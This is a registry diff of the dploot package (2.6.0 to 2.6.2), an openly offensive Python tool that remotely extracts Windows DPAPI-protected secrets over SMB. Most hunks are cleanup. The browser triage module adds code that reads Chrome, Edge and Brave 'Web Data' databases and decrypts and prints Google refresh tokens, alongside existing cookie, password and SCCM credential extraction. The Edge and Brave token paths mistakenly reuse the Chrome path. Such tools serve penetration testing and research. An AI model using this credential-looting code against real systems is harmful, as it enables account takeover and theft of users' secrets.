dploot 2.6.0__tar.gz → 2.6.2__tar.gz

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (39) hide show
  1. {dploot-2.6.0 → dploot-2.6.2}/LICENSE +1 -1
  2. {dploot-2.6.0 → dploot-2.6.2}/PKG-INFO +1 -1
  3. {dploot-2.6.0 → dploot-2.6.2}/dploot/action/browser.py +1 -1
  4. {dploot-2.6.0 → dploot-2.6.2}/dploot/action/certificates.py +1 -1
  5. {dploot-2.6.0 → dploot-2.6.2}/dploot/action/credentials.py +1 -1
  6. {dploot-2.6.0 → dploot-2.6.2}/dploot/action/machinecertificates.py +1 -1
  7. {dploot-2.6.0 → dploot-2.6.2}/dploot/action/machinecredentials.py +1 -1
  8. {dploot-2.6.0 → dploot-2.6.2}/dploot/action/machinetriage.py +1 -3
  9. {dploot-2.6.0 → dploot-2.6.2}/dploot/action/machinevaults.py +1 -1
  10. {dploot-2.6.0 → dploot-2.6.2}/dploot/action/masterkeys.py +5 -5
  11. {dploot-2.6.0 → dploot-2.6.2}/dploot/action/rdg.py +1 -1
  12. {dploot-2.6.0 → dploot-2.6.2}/dploot/action/sccm.py +1 -8
  13. {dploot-2.6.0 → dploot-2.6.2}/dploot/action/triage.py +1 -2
  14. {dploot-2.6.0 → dploot-2.6.2}/dploot/action/vaults.py +1 -1
  15. {dploot-2.6.0 → dploot-2.6.2}/dploot/action/wifi.py +1 -2
  16. {dploot-2.6.0 → dploot-2.6.2}/dploot/entry.py +3 -2
  17. {dploot-2.6.0 → dploot-2.6.2}/dploot/lib/crypto.py +4 -4
  18. {dploot-2.6.0 → dploot-2.6.2}/dploot/lib/dpapi.py +2 -2
  19. {dploot-2.6.0 → dploot-2.6.2}/dploot/lib/smb.py +2 -3
  20. {dploot-2.6.0 → dploot-2.6.2}/dploot/lib/utils.py +3 -3
  21. {dploot-2.6.0 → dploot-2.6.2}/dploot/lib/wmi.py +0 -3
  22. {dploot-2.6.0 → dploot-2.6.2}/dploot/triage/browser.py +37 -1
  23. {dploot-2.6.0 → dploot-2.6.2}/dploot/triage/certificates.py +2 -2
  24. {dploot-2.6.0 → dploot-2.6.2}/dploot/triage/sccm.py +7 -12
  25. {dploot-2.6.0 → dploot-2.6.2}/dploot/triage/vaults.py +0 -1
  26. {dploot-2.6.0 → dploot-2.6.2}/dploot/triage/wifi.py +1 -1
  27. {dploot-2.6.0 → dploot-2.6.2}/pyproject.toml +1 -1
  28. {dploot-2.6.0 → dploot-2.6.2}/README.md +0 -0
  29. {dploot-2.6.0 → dploot-2.6.2}/dploot/__init__.py +0 -0
  30. {dploot-2.6.0 → dploot-2.6.2}/dploot/action/__init__.py +0 -0
  31. {dploot-2.6.0 → dploot-2.6.2}/dploot/action/backupkey.py +0 -0
  32. {dploot-2.6.0 → dploot-2.6.2}/dploot/action/machinemasterkeys.py +0 -0
  33. {dploot-2.6.0 → dploot-2.6.2}/dploot/lib/__init__.py +0 -0
  34. {dploot-2.6.0 → dploot-2.6.2}/dploot/lib/target.py +0 -0
  35. {dploot-2.6.0 → dploot-2.6.2}/dploot/triage/__init__.py +0 -0
  36. {dploot-2.6.0 → dploot-2.6.2}/dploot/triage/backupkey.py +0 -0
  37. {dploot-2.6.0 → dploot-2.6.2}/dploot/triage/credentials.py +0 -0
  38. {dploot-2.6.0 → dploot-2.6.2}/dploot/triage/masterkeys.py +0 -0
  39. {dploot-2.6.0 → dploot-2.6.2}/dploot/triage/rdg.py +0 -0
@@ -1,6 +1,6 @@
1
1
  MIT License
2
2
 
3
- Copyright (c) 2018 Tamas Jos
3
+ Copyright (c) 2024 Thomas Seigneuret zblurx
4
4
 
5
5
  Permission is hereby granted, free of charge, to any person obtaining a copy
6
6
  of this software and associated documentation files (the "Software"), to deal
@@ -1,6 +1,6 @@
1
1
  Metadata-Version: 2.1
2
2
  Name: dploot
3
- Version: 2.6.0
3
+ Version: 2.6.2
4
4
  Summary: DPAPI looting remotely in Python
5
5
  Home-page: https://github.com/zblurx/dploot
6
6
  License: MIT
@@ -7,7 +7,7 @@ from dploot.action.masterkeys import add_masterkeys_argument_group, parse_master
7
7
 
8
8
  from dploot.lib.smb import DPLootSMBConnection
9
9
  from dploot.lib.target import Target, add_target_argument_group
10
- from dploot.lib.utils import handle_outputdir_option, parse_file_as_list
10
+ from dploot.lib.utils import handle_outputdir_option
11
11
  from dploot.triage.browser import BrowserTriage
12
12
  from dploot.triage.masterkeys import MasterkeysTriage, parse_masterkey_file
13
13
 
@@ -7,7 +7,7 @@ from dploot.action.masterkeys import add_masterkeys_argument_group, parse_master
7
7
 
8
8
  from dploot.lib.smb import DPLootSMBConnection
9
9
  from dploot.lib.target import Target, add_target_argument_group
10
- from dploot.lib.utils import handle_outputdir_option, parse_file_as_list
10
+ from dploot.lib.utils import handle_outputdir_option
11
11
  from dploot.triage.certificates import CertificatesTriage
12
12
  from dploot.triage.masterkeys import MasterkeysTriage, parse_masterkey_file
13
13
 
@@ -7,7 +7,7 @@ from dploot.action.masterkeys import add_masterkeys_argument_group, parse_master
7
7
 
8
8
  from dploot.lib.smb import DPLootSMBConnection
9
9
  from dploot.lib.target import Target, add_target_argument_group
10
- from dploot.lib.utils import handle_outputdir_option, parse_file_as_list
10
+ from dploot.lib.utils import handle_outputdir_option
11
11
  from dploot.triage.credentials import CredentialsTriage
12
12
  from dploot.triage.masterkeys import MasterkeysTriage, parse_masterkey_file
13
13
 
@@ -6,7 +6,7 @@ from typing import Callable, Tuple
6
6
 
7
7
  from dploot.lib.smb import DPLootSMBConnection
8
8
  from dploot.lib.target import Target, add_target_argument_group
9
- from dploot.lib.utils import handle_outputdir_option, parse_file_as_list
9
+ from dploot.lib.utils import handle_outputdir_option
10
10
  from dploot.triage.certificates import CertificatesTriage
11
11
  from dploot.triage.masterkeys import MasterkeysTriage, parse_masterkey_file
12
12
 
@@ -6,7 +6,7 @@ from typing import Callable, Tuple
6
6
 
7
7
  from dploot.lib.smb import DPLootSMBConnection
8
8
  from dploot.lib.target import Target, add_target_argument_group
9
- from dploot.lib.utils import handle_outputdir_option, parse_file_as_list
9
+ from dploot.lib.utils import handle_outputdir_option
10
10
  from dploot.triage.credentials import CredentialsTriage
11
11
  from dploot.triage.masterkeys import MasterkeysTriage, parse_masterkey_file
12
12
 
@@ -6,12 +6,10 @@ from typing import Callable, Tuple
6
6
 
7
7
  from dploot.lib.smb import DPLootSMBConnection
8
8
  from dploot.lib.target import Target, add_target_argument_group
9
- from dploot.lib.utils import handle_outputdir_option, parse_file_as_list
10
- from dploot.triage.browser import BrowserTriage
9
+ from dploot.lib.utils import handle_outputdir_option
11
10
  from dploot.triage.certificates import CertificatesTriage
12
11
  from dploot.triage.credentials import CredentialsTriage
13
12
  from dploot.triage.masterkeys import MasterkeysTriage, parse_masterkey_file
14
- from dploot.triage.rdg import RDGTriage
15
13
  from dploot.triage.vaults import VaultsTriage
16
14
 
17
15
  NAME = 'machinetriage'
@@ -6,7 +6,7 @@ from typing import Callable, Tuple
6
6
 
7
7
  from dploot.lib.smb import DPLootSMBConnection
8
8
  from dploot.lib.target import Target, add_target_argument_group
9
- from dploot.lib.utils import handle_outputdir_option, parse_file_as_list
9
+ from dploot.lib.utils import handle_outputdir_option
10
10
 
11
11
  from dploot.triage.masterkeys import MasterkeysTriage, parse_masterkey_file
12
12
  from dploot.triage.vaults import VaultsTriage
@@ -2,11 +2,11 @@ import argparse
2
2
  import logging
3
3
  import os
4
4
  import sys
5
- from typing import Callable, Dict, List, Tuple
5
+ from typing import Callable, Dict, Tuple
6
6
 
7
7
  from dploot.lib.smb import DPLootSMBConnection
8
8
  from dploot.lib.target import Target, add_target_argument_group
9
- from dploot.lib.utils import handle_outputdir_option, parse_file_as_dict, parse_file_as_list
9
+ from dploot.lib.utils import handle_outputdir_option, parse_file_as_dict
10
10
  from dploot.triage.masterkeys import MasterkeysTriage
11
11
 
12
12
 
@@ -78,21 +78,21 @@ def entry(options: argparse.Namespace) -> None:
78
78
 
79
79
  def parse_masterkeys_options(options: argparse.Namespace, target: Target) -> Tuple[bytes,Dict[str,str],Dict[str,str]]:
80
80
  pvkbytes = passwords = nthashes = None
81
- if options.pvk is not None:
81
+ if hasattr(options,'pvk') and options.pvk is not None:
82
82
  try:
83
83
  pvkbytes = open(options.pvk, 'rb').read()
84
84
  except Exception as e:
85
85
  logging.error(str(e))
86
86
  sys.exit(1)
87
87
 
88
- if options.passwords is not None:
88
+ if hasattr(options,'passwords') and options.passwords is not None:
89
89
  try:
90
90
  passwords = parse_file_as_dict(options.passwords)
91
91
  except Exception as e:
92
92
  logging.error(str(e))
93
93
  sys.exit(1)
94
94
 
95
- if options.nthashes is not None:
95
+ if hasattr(options,'nthashes') and options.nthashes is not None:
96
96
  try:
97
97
  nthashes = parse_file_as_dict(options.nthashes)
98
98
  except Exception as e:
@@ -7,7 +7,7 @@ from dploot.action.masterkeys import add_masterkeys_argument_group, parse_master
7
7
 
8
8
  from dploot.lib.smb import DPLootSMBConnection
9
9
  from dploot.lib.target import Target, add_target_argument_group
10
- from dploot.lib.utils import handle_outputdir_option, parse_file_as_list
10
+ from dploot.lib.utils import handle_outputdir_option
11
11
  from dploot.triage.masterkeys import MasterkeysTriage, parse_masterkey_file
12
12
  from dploot.triage.rdg import RDGTriage
13
13
 
@@ -1,13 +1,11 @@
1
1
  import argparse
2
2
  import logging
3
- import os
4
3
  import sys
5
4
  from typing import Callable, Tuple
6
- from dploot.action.masterkeys import add_masterkeys_argument_group, parse_masterkeys_options
7
5
 
8
6
  from dploot.lib.smb import DPLootSMBConnection
9
7
  from dploot.lib.target import Target, add_target_argument_group
10
- from dploot.lib.utils import handle_outputdir_option, parse_file_as_list
8
+ from dploot.lib.utils import handle_outputdir_option
11
9
  from dploot.triage.masterkeys import MasterkeysTriage, parse_masterkey_file
12
10
  from dploot.triage.sccm import SCCMTriage
13
11
 
@@ -24,7 +22,6 @@ class SCCMAction:
24
22
  self._users = None
25
23
  self.outputdir = None
26
24
  self.masterkeys = None
27
- self.pvkbytes = None
28
25
 
29
26
  self.outputdir = handle_outputdir_option(dir= self.options.export_sccm)
30
27
 
@@ -35,8 +32,6 @@ class SCCMAction:
35
32
  logging.error(str(e))
36
33
  sys.exit(1)
37
34
 
38
- self.pvkbytes, self.passwords, self.nthashes = parse_masterkeys_options(self.options, self.target)
39
-
40
35
  def connect(self) -> None:
41
36
  self.conn = DPLootSMBConnection(self.target)
42
37
  if self.conn.connect() is None:
@@ -103,8 +98,6 @@ def add_subparser(subparsers: argparse._SubParsersAction) -> Tuple[str, Callable
103
98
  ),
104
99
  )
105
100
 
106
- add_masterkeys_argument_group(group)
107
-
108
101
  group.add_argument(
109
102
  "-export-sccm",
110
103
  action="store",
@@ -7,8 +7,7 @@ from dploot.action.masterkeys import add_masterkeys_argument_group, parse_master
7
7
 
8
8
  from dploot.lib.smb import DPLootSMBConnection
9
9
  from dploot.lib.target import Target, add_target_argument_group
10
- from dploot.lib.utils import handle_outputdir_option, parse_file_as_list
11
- from dploot.triage.browser import BrowserTriage
10
+ from dploot.lib.utils import handle_outputdir_option
12
11
  from dploot.triage.certificates import CertificatesTriage
13
12
  from dploot.triage.credentials import CredentialsTriage
14
13
  from dploot.triage.masterkeys import MasterkeysTriage, parse_masterkey_file
@@ -7,7 +7,7 @@ from dploot.action.masterkeys import add_masterkeys_argument_group, parse_master
7
7
 
8
8
  from dploot.lib.smb import DPLootSMBConnection
9
9
  from dploot.lib.target import Target, add_target_argument_group
10
- from dploot.lib.utils import handle_outputdir_option, parse_file_as_list
10
+ from dploot.lib.utils import handle_outputdir_option
11
11
  from dploot.triage.masterkeys import MasterkeysTriage, parse_masterkey_file
12
12
  from dploot.triage.vaults import VaultsTriage
13
13
 
@@ -3,11 +3,10 @@ import logging
3
3
  import os
4
4
  import sys
5
5
  from typing import Callable, Tuple
6
- from dploot.action.masterkeys import add_masterkeys_argument_group, parse_masterkeys_options
7
6
 
8
7
  from dploot.lib.smb import DPLootSMBConnection
9
8
  from dploot.lib.target import Target, add_target_argument_group
10
- from dploot.lib.utils import handle_outputdir_option, parse_file_as_list
9
+ from dploot.lib.utils import handle_outputdir_option
11
10
  from dploot.triage.masterkeys import MasterkeysTriage, parse_masterkey_file
12
11
  from dploot.triage.wifi import WifiTriage
13
12
 
@@ -1,4 +1,5 @@
1
1
  import argparse
2
+ import importlib.metadata
2
3
  import logging
3
4
  import sys
4
5
  import traceback
@@ -44,8 +45,8 @@ ENTRY_PARSERS = [
44
45
 
45
46
  def main() -> None:
46
47
  logger.init()
47
-
48
- parser = argparse.ArgumentParser(description="DPAPI looting remotely in Python", add_help=True)
48
+ version = importlib.metadata.version("dploot")
49
+ parser = argparse.ArgumentParser(description=f"DPAPI looting remotely in Python.\nVersion {version}", add_help=True)
49
50
 
50
51
  parser.add_argument("-debug", action="store_true", help="Turn DEBUG output ON")
51
52
 
@@ -1,4 +1,4 @@
1
- from binascii import hexlify, unhexlify
1
+ from binascii import hexlify
2
2
  from hashlib import pbkdf2_hmac
3
3
  from Cryptodome.Cipher import AES
4
4
  from Cryptodome.Hash import HMAC, SHA1, MD4
@@ -221,9 +221,9 @@ def pvkblob_to_pkcs1(key):
221
221
  modulus = bytes_to_long(key['modulus'][::-1]) # n
222
222
  prime1 = bytes_to_long(key['prime1'][::-1]) # p
223
223
  prime2 = bytes_to_long(key['prime2'][::-1]) # q
224
- exp1 = bytes_to_long(key['exponent1'][::-1])
225
- exp2 = bytes_to_long(key['exponent2'][::-1])
226
- coefficient = bytes_to_long(key['coefficient'][::-1])
224
+ _ = bytes_to_long(key['exponent1'][::-1])
225
+ _ = bytes_to_long(key['exponent2'][::-1])
226
+ _ = bytes_to_long(key['coefficient'][::-1])
227
227
  privateExp = bytes_to_long(key['privateExponent'][::-1]) # d
228
228
  pubExp = int(key['pubexp']) # e
229
229
  # RSA.Integer(prime2).inverse(prime1) # u
@@ -8,7 +8,7 @@ from Cryptodome.Util.Padding import unpad
8
8
  from Cryptodome.Hash import HMAC
9
9
 
10
10
  from impacket.uuid import bin_to_string
11
- from impacket.dpapi import MasterKeyFile, MasterKey, CredHist, DomainKey, DPAPI_BLOB, \
11
+ from impacket.dpapi import MasterKeyFile, MasterKey, DomainKey, DPAPI_BLOB, \
12
12
  CREDENTIAL_BLOB, VAULT_VCRD, VAULT_VPOL, VAULT_KNOWN_SCHEMAS, VAULT_VPOL_KEYS, \
13
13
  PVK_FILE_HDR, PRIVATE_KEY_BLOB, ALGORITHMS_DATA, privatekeyblob_to_pkcs1, DPAPI_DOMAIN_RSA_MASTER_KEY, CredentialFile
14
14
 
@@ -19,7 +19,7 @@ def decrypt_masterkey(masterkey:bytes, domain_backupkey:bytes= None, dpapi_syste
19
19
  return None
20
20
  data = masterkey
21
21
  mkf = MasterKeyFile(data)
22
- dk = mk = ch = bkmk = None
22
+ dk = mk = bkmk = None
23
23
  data = data[len(mkf):]
24
24
  if mkf['MasterKeyLen'] > 0:
25
25
  mk = MasterKey(data[:mkf['MasterKeyLen']])
@@ -1,5 +1,4 @@
1
1
  import socket
2
- import sys
3
2
  import ntpath
4
3
  import logging
5
4
  import time
@@ -114,14 +113,14 @@ class DPLootSMBConnection:
114
113
  path = ntpath.join(path, '*')
115
114
  try:
116
115
  return self.smb_session.listPath(shareName=share, path=ntpath.normpath(path))
117
- except :
116
+ except Exception:
118
117
  return None
119
118
 
120
119
  def is_admin(self) -> bool:
121
120
  try:
122
121
  self.smb_session.connectTree('C$')
123
122
  is_admin = True
124
- except:
123
+ except Exception:
125
124
  is_admin = False
126
125
  pass
127
126
  return is_admin
@@ -55,7 +55,7 @@ def parse_file_as_dict(filename: str) -> Dict[str,str]:
55
55
  arr = dict()
56
56
  with open(filename, 'r') as lines:
57
57
  for line in lines:
58
- l = line.rstrip('\n')
59
- l = l.split(':',1)
60
- arr[l[0]]=l[1]
58
+ tmp_line = line.rstrip('\n')
59
+ tmp_line = tmp_line.split(':',1)
60
+ arr[tmp_line[0]]=tmp_line[1]
61
61
  return arr
@@ -1,7 +1,4 @@
1
1
  import logging
2
- import random
3
- import socket
4
- import string
5
2
  import time
6
3
 
7
4
  from impacket.dcerpc.v5.dcom import wmi
@@ -11,7 +11,6 @@ from dploot.lib.dpapi import decrypt_blob, find_masterkey_for_blob
11
11
  from dploot.lib.smb import DPLootSMBConnection
12
12
  from dploot.lib.target import Target
13
13
  from dploot.lib.utils import datetime_to_time
14
- from dploot.lib.wmi import DPLootWmiExec
15
14
  from dploot.triage.masterkeys import Masterkey
16
15
  from dataclasses import dataclass
17
16
 
@@ -60,12 +59,29 @@ class Cookie:
60
59
  def dump_quiet(self) -> None:
61
60
  print("[%s] %s%s - %s:%s" % (self.browser.upper(), self.host, self.path, self.cookie_name, self.cookie_value))
62
61
 
62
+ @dataclass
63
+ class GoogleRefreshToken:
64
+ winuser: str
65
+ browser: str
66
+ service: str
67
+ token: str
68
+
69
+ def dump(self) -> None:
70
+ print('[%s - GOOGLE REFRESH TOKEN]' % self.browser.upper())
71
+ print('Service:\t%s' % self.service)
72
+ print('Token:\t\t%s' % self.token)
73
+ print()
74
+
75
+ def dump_quiet(self) -> None:
76
+ print("[%s] GRT %s:%s" % (self.browser.upper(), self.service, self.token))
77
+
63
78
  class BrowserTriage:
64
79
 
65
80
  false_positive = ['.','..', 'desktop.ini','Public','Default','Default User','All Users']
66
81
  user_google_chrome_generic_login_path = {
67
82
  'aesStateKeyPath':'Users\\%s\\AppData\\Local\\Google\\Chrome\\User Data\\Local State',
68
83
  'loginDataPath':'Users\\%s\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data',
84
+ 'webDataPath':'Users\\%s\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Web Data',
69
85
  'cookiesDataPath':[
70
86
  'Users\\%s\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cookies',
71
87
  'Users\\%s\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Network\\Cookies'
@@ -74,6 +90,7 @@ class BrowserTriage:
74
90
  user_msedge_generic_login_path = {
75
91
  'aesStateKeyPath':'Users\\%s\\AppData\\Local\\Microsoft\\Edge\\User Data\\Local State',
76
92
  'loginDataPath':'Users\\%s\\AppData\\Local\\Microsoft\\Edge\\User Data\\Default\\Login Data',
93
+ 'webDataPath':'Users\\%s\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Web Data',
77
94
  'cookiesDataPath':[
78
95
  'Users\\%s\\AppData\\Local\\Microsoft\\Edge\\User Data\\Default\\Cookies',
79
96
  'Users\\%s\\AppData\\Local\\Microsoft\\Edge\\User Data\\Default\\Network\\Cookies'
@@ -82,6 +99,7 @@ class BrowserTriage:
82
99
  user_brave_generic_login_path = {
83
100
  'aesStateKeyPath':'Users\\%s\\AppData\\Local\\BraveSoftware\\Brave-Browser\\User Data\\Local State',
84
101
  'loginDataPath':'Users\\%s\\AppData\\Local\\BraveSoftware\\Brave-Browser\\User Data\\Default\\Login Data',
102
+ 'webDataPath':'Users\\%s\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Web Data',
85
103
  'cookiesDataPath':[
86
104
  'Users\\%s\\AppData\\Local\\BraveSoftware\\Brave-Browser\\User Data\\Default\\Cookies',
87
105
  'Users\\%s\\AppData\\Local\\BraveSoftware\\Brave-Browser\\User Data\\Default\\Network\\Cookies'
@@ -185,6 +203,24 @@ class BrowserTriage:
185
203
  expires_utc=expires_utc,
186
204
  last_access_utc=last_access_utc))
187
205
  fh.close()
206
+ webData_bytes = self.conn.readFile(shareName=self.share, path=paths['webDataPath'] % user, bypass_shared_violation=True)
207
+ if aeskey is not None and webData_bytes is not None and len(webData_bytes) > 0:
208
+ fh = tempfile.NamedTemporaryFile()
209
+ fh.write(webData_bytes)
210
+ fh.seek(0)
211
+ db = sqlite3.connect(fh.name)
212
+ cursor = db.cursor()
213
+ query = cursor.execute('SELECT service, encrypted_token FROM token_service')
214
+ lines = query.fetchall()
215
+ if len(lines) > 0:
216
+ for service, encrypted_grt in lines:
217
+ token = decrypt_chrome_password(encrypted_grt, aeskey)
218
+ credentials.append(GoogleRefreshToken(
219
+ winuser=user,
220
+ browser=browser,
221
+ service=service,
222
+ token = token
223
+ ))
188
224
  return credentials, cookies
189
225
 
190
226
  @property
@@ -193,7 +193,7 @@ class CertificatesTriage:
193
193
  if certblob.der is not None:
194
194
  cert = self.der_to_cert(certblob.der)
195
195
  certificates[certname] = cert
196
- except:
196
+ except Exception:
197
197
  pass
198
198
  return certificates
199
199
 
@@ -248,7 +248,7 @@ class CertificatesTriage:
248
248
 
249
249
  for name in san.value.get_values_for_type(x509.DNSName):
250
250
  return "DNS Host Name", name
251
- except:
251
+ except Exception:
252
252
  pass
253
253
 
254
254
  return None, None
@@ -1,10 +1,6 @@
1
1
  import logging
2
- import ntpath
3
- from typing import Any, List, Tuple
4
- import xml.etree.ElementTree as ET
5
- import base64
2
+ from typing import List, Tuple
6
3
  import re
7
- from binascii import unhexlify
8
4
 
9
5
  from dploot.lib.dpapi import decrypt_blob, find_masterkey_for_blob
10
6
  from dploot.lib.smb import DPLootSMBConnection
@@ -78,18 +74,17 @@ class SCCMTriage:
78
74
  result = ''
79
75
  if masterkey is not None:
80
76
  result = decrypt_blob(blob_bytes, masterkey=masterkey)
81
- return result
82
77
  else:
83
- print("Master keys not found for SCCM blob")
84
- return ""
78
+ logging.debug("Master keys not found for SCCM blob")
79
+ return result
85
80
 
86
81
  def parseFile(self, objectfile) -> Tuple[List[SCCMCred], List[SCCMSecret], List[SCCMCollection]]:
87
82
  sccmcred = list()
88
83
  sccmsecret = list()
89
84
  sccmcollection = list()
90
- regex_naa = b"CCM_NetworkAccessAccount.*<PolicySecret Version=\"1\"><!\[CDATA\[(.*?)\]\]><\/PolicySecret>.*<PolicySecret Version=\"1\"><!\[CDATA\[(.*?)\]\]><\/PolicySecret>"
91
- regex_task = b"</SWDReserved>.*<PolicySecret Version=\"1\"><!\[CDATA\[(.*?)\]\]><\/PolicySecret>"
92
- regex_collection = b"CCM_CollectionVariable\x00\x00(.*?)\x00\x00.*<PolicySecret Version=\"1\"><!\[CDATA\[(.*?)\]\]><\/PolicySecret>"
85
+ regex_naa = br"CCM_NetworkAccessAccount.*<PolicySecret Version=\"1\"><!\[CDATA\[(.*?)\]\]><\/PolicySecret>.*<PolicySecret Version=\"1\"><!\[CDATA\[(.*?)\]\]><\/PolicySecret>"
86
+ regex_task = br"</SWDReserved>.*<PolicySecret Version=\"1\"><!\[CDATA\[(.*?)\]\]><\/PolicySecret>"
87
+ regex_collection = br"CCM_CollectionVariable\x00\x00(.*?)\x00\x00.*<PolicySecret Version=\"1\"><!\[CDATA\[(.*?)\]\]><\/PolicySecret>"
93
88
  logging.debug("Looking for NAA Credentials from OBJECTS.DATA file")
94
89
  pattern = re.compile(regex_naa)
95
90
  for match in pattern.finditer(objectfile):
@@ -114,7 +109,7 @@ class SCCMTriage:
114
109
 
115
110
  def parseReply(self, iEnum):
116
111
  finding = list()
117
- regex = "<PolicySecret Version=\"1\"><!\[CDATA\[(.*?)\]\]><\/PolicySecret>"
112
+ regex = r"<PolicySecret Version=\"1\"><!\[CDATA\[(.*?)\]\]><\/PolicySecret>"
118
113
  while True:
119
114
  try:
120
115
  pEnum = iEnum.Next(0xffffffff,1)[0]
@@ -3,7 +3,6 @@ import ntpath
3
3
  from typing import Any, List
4
4
  from binascii import hexlify
5
5
 
6
- from impacket.structure import hexdump
7
6
  from impacket.dcerpc.v5.dtypes import RPC_SID
8
7
  from impacket.dpapi import VAULT_INTERNET_EXPLORER, VAULT_WIN_BIO_KEY, VAULT_NGC_ACCOOUNT
9
8
 
@@ -87,7 +87,7 @@ class WifiCred:
87
87
  else:
88
88
  print("[WIFI] %s - WPA EAP - %s" % (self.ssid, self.eap_type))
89
89
  else:
90
- print("[WIFI] %s - %s - %s" % (self.auth.upper(), self.ssid))
90
+ print("[WIFI] %s - %s" % (self.auth.upper(), self.ssid))
91
91
 
92
92
  class WifiTriage:
93
93
 
@@ -1,6 +1,6 @@
1
1
  [tool.poetry]
2
2
  name = "dploot"
3
- version = "2.6.0"
3
+ version = "2.6.2"
4
4
  description = "DPAPI looting remotely in Python"
5
5
  readme = "README.md"
6
6
  homepage = "https://github.com/zblurx/dploot"
File without changes
File without changes
File without changes
File without changes
File without changes
File without changes
File without changes